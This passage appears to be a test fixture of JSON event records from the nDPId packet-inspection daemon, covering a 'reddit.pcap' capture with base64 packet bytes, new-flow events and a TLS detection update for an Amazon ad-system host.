kXg8kP2CN5t6G7bMQcT8C8xDZNtYTd7WPD8UZiRKAJPBXa30\/AbwuZe0GaFEQ8ugcYQgSn+IGBI8\/LwhBNTZTUVEWuCUUBVV18YtbAiPq3yXqMB48Oz+ctBWuZSkbvkNodPLamkB2g1upRyzQ7qDn1X8nn8N8V7YJ6y68AtkHcNSRAnpTitxBKjtKPISLMVCx7i4hncxHZSyLyKQXhw2W2Xs0qLeC1etA+jTGDK4UfLeC0SF7FSi8o5LL21L8IzApar2pR\/AASWMIIEkjCCA3qgAwIBAgITBn+U"} +00456{"flow_id":47,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9162,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":501403,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBYjGACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAA0X3yltjYBu5sO2Zz\/881AgBAB9TYuAAABAQgKApQ\/YcLXSfc="} +00456{"flow_id":47,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9163,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":501434,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBYjGACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAA0X3yltjYBu5sO2Zz\/89KQgBAB8TDiAAABAQgKApQ\/YcLXSfc="} +02287{"flow_id":47,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9164,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":502228,"pkt_caplen":1446,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1446,"pkt_l4_len":1392,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABXAGPQBk\/5sAAAAAAAAAADRffKUqAcsBIEmLB5kd7IUo3\/YpAbu2Nv\/z0pCbDtmcgBgLMK7ZAAABAQgKwtdJ9wKUPyRKKifN8\/rCrisB+QjuucTGMA0GCSqGSIb3DQEBCwUAMIGYMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTElMCMGA1UEChMcU3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjE7MDkGA1UEAxMyU3RhcmZpZWxkIFNlcnZpY2VzIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwHhcNMTUwNTI1MTIwMDAwWhcNMzcxMjMxMDEwMDAwWjA5MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSAxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsniAccp41eNxr0eAUHR9btjXiHb0mWj3WCFg+XSEAS+sAi2G06BDek6ypNA2ugG+jdtIyAcXNkz07ogjxz7rN\/W1GfhJaLDe17l2OB1hnqT+gjal5UpW5EXh+f20Fvp02pybNTkv+rAgUAZsetCAsqb5r+xHGY9QOAfcooc5WPi61an5SGcwlu6UeF5viaNRwDCGZqFFZrpU66PDkflI3P\/R6DAtfS10cDXXiCT3nsRZbrtzhxfyMkYouEP6tx2qyrTynyQOLUv3cVxeaf\/qlQLLOIquUDhv2\/stYhvFxx5U4XfgZ8gPnIcj1j9AIH8ggMSATD47JCaOBK5smsiqDQIDAQABo4IBMTCCAS0wDwYDVR0TAQH\/BAUwAwEB\/zAOBgNVHQ8BAf8EBAMCAYYwHQYDVR0OBBYEFIQYzIU07LwMlJQuCFmcx7IQTgoIMB8GA1UdIwQYMBaAFJxfAN+qAdcwKziIorhtSpzyEZGDMHgGCCsGAQUFBwEBBGwwajAuBggrBgEFBQcwAYYiaHR0cDovL29jc3Aucm9vdGcyLmFtYXpvbnRydXN0LmNvbTA4BggrBgEFBQcwAoYsaHR0cDovL2NydC5yb290ZzIuYW1hem9udHJ1c3QuY29tL3Jvb3RnMi5jZXIwPQYDVR0fBDYwNDAyoDCgLoYsaHR0cDovL2NybC5yb290ZzIuYW1hem9udHJ1c3QuY29tL3Jvb3RnMi5jcmwwEQYDVR0gBAowCDAGBgRVHSAAMA0GCSqGSIb3DQEBCwUAA4IBAQBiN0JcvBC1Poss6QybbEXiBwB6+cVYC7kIjD7tsyU8tW9Q5M01aqeTNJYyIalIRKuc7T20qnNt5H8WgIlszygDGINHeaMQfjBbrDuwYOB31Aim4R18XsC7+Zp7Ip2nAAl+rEYXg9ycJleZMDlilo\/t2t6qxcwbPspDaGxXFrzVDiAu\/v\/Cal0uoEptFFiHlOY5MV98c8uQiGqEEZYnpu3ZgUamfqNyAApSPoOIB2N3iWkXDzmF0qsIRU3QUTr9XV03ZEx+MLJVJEKdNrBdnBeBYfHK+RACJKvrDXSRjXtFKVA5iLKmiTUlHhRqRyMxL1ya+q2aDmJRpCqpxPk0nSEYAAR5MIIEdTCCA12gAwIBAgIJAKcOSkw0grd\/MA0GCSqGSIb3DQEBCwUAMGgxCzAJBgNVBAYTAlVTMSUwIwYDVQQKExxTdGFyZmllbGQgVGVjaG5vbG9naWVzLCBJbmMuMTIwMAYDVQQLEylTdGFyZmllbGQgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wOTA5MDIwMDAwMDBaFw0zNDA2MjgxNzM5MTZaMIGYMQswCQYDVQQGEwJVUzEQMA4GA1UE"} +00457{"flow_id":47,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9165,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":502241,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBYjGACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAA0X3yltjYBu5sO2Zz\/89fggBAB7SuVAAABAQgKApQ\/YsLXSfc="} +02293{"flow_id":47,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9166,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":502750,"pkt_caplen":1446,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1446,"pkt_l4_len":1392,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABXAGPQBk\/5sAAAAAAAAAADRffKUqAcsBIEmLB5kd7IUo3\/YpAbu2Nv\/z1+CbDtmcgBgLMHeTAAABAQgKwtdJ9wKUPyQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQgVGVjaG5vbG9naWVzLCBJbmMuMTswOQYDVQQDEzJTdGFyZmllbGQgU2VydmljZXMgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANUMOsQq+U7i9b4Zl1+OiFOxHz\/Lz58gE20pOsgPfTz3a3Y4Y9k2YKibXlwAgLIvWX\/2h\/klQ4bnaRtSmpDhcePYLQ1Ob\/bISdm28xpWriu2dBTrz\/sm4xq6HZYuajtYlIlHVv8loJNwU4PahHQUw2eeBGg6345AWh1KTs9DkTvnVtYAcMtS7nt9rjrnvDH5RfbCYM8TWQIrgMw0R9+53pBlbQLPLJGmpufehRhJfGZOozptqbXuNC66DQO4M99H67FrjSXZm86B0UVGMpZwh94CDklDhbZsc7tk6mFBrMnUVN+HL8cisibMn1lUaJ\/8viovxFUcdUBgF4UCVTmLfwUCAwEAAaOB8DCB7TAPBgNVHRMBAf8EBTADAQH\/MA4GA1UdDwEB\/wQEAwIBhjAdBgNVHQ4EFgQUnF8A36oB1zArOIiiuG1KnPIRkYMwHwYDVR0jBBgwFoAUv1+30c7dH4b0W1Ws3NcQwg6piOcwTwYIKwYBBQUHAQEEQzBBMBwGCCsGAQUFBzABhhBodHRwOi8vby5zczIudXMvMCEGCCsGAQUFBzAChhVodHRwOi8veC5zczIudXMveC5jZXIwJgYDVR0fBB8wHTAboBmgF4YVaHR0cDovL3Muc3MyLnVzL3IuY3JsMBEGA1UdIAQKMAgwBgYEVR0gADANBgkqhkiG9w0BAQsFAAOCAQEAIx3jilfKfekXeUzxHlX9zFNuPkcP38ZV8rIENu2AH1PEXTQoa77HVfxn6ss\/f5CyM80bWBCCAvj4L\/UTYNQFzvGBCMHdp3WXTxi5bd73k5EIun5ALO3B6rt2njMGdx0NCH9T3Rtkq4In8WnVTV6u9KHDdadYRC3yPHCYrLpptpV3fw8xXiz8oIc6R2nweV\/0FFSklV4ReBJgJ86fwnf\/I1N3Xbr\/6lnn28+vkpbvJJo1EHqckcYOfZn2Pxnf9XJU4RWpB1l7g79SLkaMsgBkdhxI09h56G5WzK4sA5DXGTiZ5MoJGVv\/B5awqH80Sd9WqfewX+0z7YxHtzADXfQDjBYDAwHfFgAB2wEAAdcwggHTCgEAoIIBzDCCAcgGCSsGAQUFBzABAQSCAbkwggG1MIGeohYEFFmkZgZSoHuVkjyjlAcnlnRb+T3QGA8yMDIwMTExMzAzMjA1NFowczBxMEkwCQYFKw4DAhoFAAQUM\/Wqxh1m5wVdAxc6TR8+GHE4hQ0EFFmkZgZSoHuVkjyjlAcnlnRb+T3QAhAN6I+4NjnSxA60g+Y1JBJ1gAAYDzIwMjAxMTEzMDMyMDU0WqARGA8yMDIwMTEyMDAyMzU1NFowDQYJKoZIhvcNAQELBQADggEBAJ6Y2cSPZStqz0xDzR7cR6Zl3XaWQN47BaUbGgNTcOZ4BOCZDyKgCL5Mn+McBPfZcolMp\/DH6fseyXRzKXVMYRLImDVy\/76YDX6V+9r5sgkkkky4uuwBPXCyEiufvUrqTlPiA951Kjrt2XwsYe7LI7qGhZoeL85MdlANSDi8JPYYOn5ZgS3Y1rFHYGP6W+XmhdgrjBGKqrA0uo1kGXdYODDcAdCUyZ0YndrfWv8gGFaJNqOz3hScQKhFNJLg"} +01195{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":9166,"source":"reddit.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":12,"flow_first_seen":1605291690405,"flow_last_seen":1605291690502,"flow_tot_l4_data_len":6357,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1392,"flow_avg_l4_data_len":529,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::345f:7ca5","src_port":46646,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"aax-eu.amazon-adsystem.com","server_names":"aax-eu.amazon-adsystem.com,aax.amazon-adsystem.com,aax-cpm.amazon-adsystem.com,aax-dtb-web.amazon-adsystem.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"49b45fc1ab090aa3a159778313fc9b9e","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Amazon, OU=Server CA 1B, CN=Amazon","issuerDN":"CN=aax-eu.amazon-adsystem.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"5D:18:8E:CB:B7:91:5C:79:26:B5:08:49:FF:2C:24:D8:06:54:91:8B"}} +01025{"flow_id":47,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9167,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":502751,"pkt_caplen":501,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":501,"pkt_l4_len":447,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAb8GPQBk\/5sAAAAAAAAAADRffKUqAcsBIEmLB5kd7IUo3\/YpAbu2Nv\/z3TCbDtmcgBgLMAeXAAABAQgKwtdJ9wKUPyS\/2LcYDec2q4NKrOgfB4Q\/ddCu2Jdojv\/K85Y8IxC+jdwzN8m2xPuSubH3PVE\/dCFfYlZEK1rWobDe3pu+SQGTKUAx6xYDAwFNDAABSQMAF0EEBqYXgjgZ3Lmivf1SOV1AnRPEVe9mUpH1rHfpUx7le75UsaxZrCetsG6Rm6IqpGRIVWkZrAEd7K+J\/efAO5w9IwYBAQAtJkxJcQFbKBnSWBIsCuSyeosCnCkFFXLBU68X\/LZpphchMQS1bcgty4syYD5YOoU2SUHUNiiAk0ZyeW8dDr+BsaSLAcBh5bvd8MNL+JJn6VJlRQmalJvmm2YlgoSu2fanbZnOCu4SH\/YrXhdzko7aLKtlnCHCTslyZRcdoPGzHeeKyfycSDojhiFgQocjAGxoCH5r9tjb+Xu3rdCiyK+D\/lB2NBpfxYx1PMlrnn2l39VD\/xCAesWSgNb1NYegGfOVkWo1hV\/ru4+pzN87GKSGAcA\/wfYLq3tUMnX0fuiw8CK8mjXqmK71iw\/MaceCnnzNaxDkenzDPb1bFyMOFo5RFgMDAAQOAAAA"} +00457{"flow_id":47,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9168,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":502763,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBYjGACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAA0X3yltjYBu5sO2Zz\/890wgBAB9SY9AAABAQgKApQ\/YsLXSfc="} +00457{"flow_id":47,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9169,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":502787,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBYjGACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAA0X3yltjYBu5sO2Zz\/897PgBAB9SSeAAABAQgKApQ\/YsLXSfc="} +00457{"flow_id":48,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9173,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":511700,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgLAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbvo6PvOwIKc0w\/JgBALONXkAAABAQgKwtdKAV8E6s0="} +00513{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9279,"source":"reddit.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1605291690926,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:808::2001","src_port":46806,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9279,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":926655,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gDDgdACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttYBu\/eX0dQAAAAAoAL9IKwyAAACBAWgBAIIChrDFp8AAAAAAQMDBw=="} +00513{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9280,"source":"reddit.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1605291690926,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:808::2001","src_port":46808,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9280,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":926734,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gDtx5ACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttgBu8JSReQAAAAAoAL9IG1mAAACBAWgBAIIChrDFp8AAAAAAQMDBw=="} +00513{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9281,"source":"reddit.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1605291690926,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:808::2001","src_port":46810,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9281,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":926769,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gDhnPACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttoBu0y3s24AAAAAoAL9IHV1AAACBAWgBAIIChrDFp8AAAAAAQMDBw=="} +00513{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9282,"source":"reddit.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1605291690926,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:808::2001","src_port":46812,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9282,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":926802,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gAc2lACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttwBu9DGzOkAAAAAoAL9INfoAAACBAWgBAIIChrDFp8AAAAAAQMDBw=="} +00513{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9283,"source":"reddit.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1605291690926,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:808::2001","src_port":46814,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9283,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":926830,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gClWEACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABtt4BuzO7JFQAAAAAoAL9IB2IAAACBAWgBAIIChrDFp8AAAAAAQMDBw=="} +00513{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9284,"source":"reddit.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1605291690926,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:811::200a","src_port":38166,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9284,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":926867,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gBhSQACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIEQAAAAAAACAKlRYBu2QKygYAAAAAoAL9IOOcAAACBAWgBAIICqpUDK0AAAAAAQMDBw=="} +00513{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9285,"source":"reddit.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1605291690926,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80f::2001","src_port":36964,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9285,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":926912,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gBnVWACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDwAAAAAAACABkGQBuyvivtsAAAAAoAL9IO7kAAACBAWgBAIICriVOzQAAAAAAQMDBw=="} +00513{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9286,"source":"reddit.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1605291690926,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80f::2001","src_port":36966,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9286,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":926944,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gDhWZACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDwAAAAAAACABkGYBu2Ns154AAAAAoAL9IJ6VAAACBAWgBAIICriVOzQAAAAAAQMDBw=="} +00513{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9287,"source":"reddit.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1605291690926,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80f::2001","src_port":36968,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9287,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":926978,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gB5miACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDwAAAAAAACABkGgBu54QLUEAAAAAoAL9IA5NAAACBAWgBAIICriVOzQAAAAAAQMDBw=="} +00513{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9288,"source":"reddit.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1605291690926,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80f::2001","src_port":36970,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":58,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9288,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":926998,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gCQMiACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDwAAAAAAACABkGoBuxhoCyUAAAAAoAL9ILYPAAACBAWgBAIICriVOzQAAAAAAQMDBw=="} +00468{"flow_id":49,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9293,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":952219,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu21pGefV\/3l9HVoBJXgDRiAAACBAV4AQMDAwQCCArC10u2GsMWnw=="} +00455{"flow_id":49,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9294,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":952238,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDDgdACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttYBu\/eX0dWRnn1ggBAB+7hZAAABAQgKGsMWucLXS7Y="} 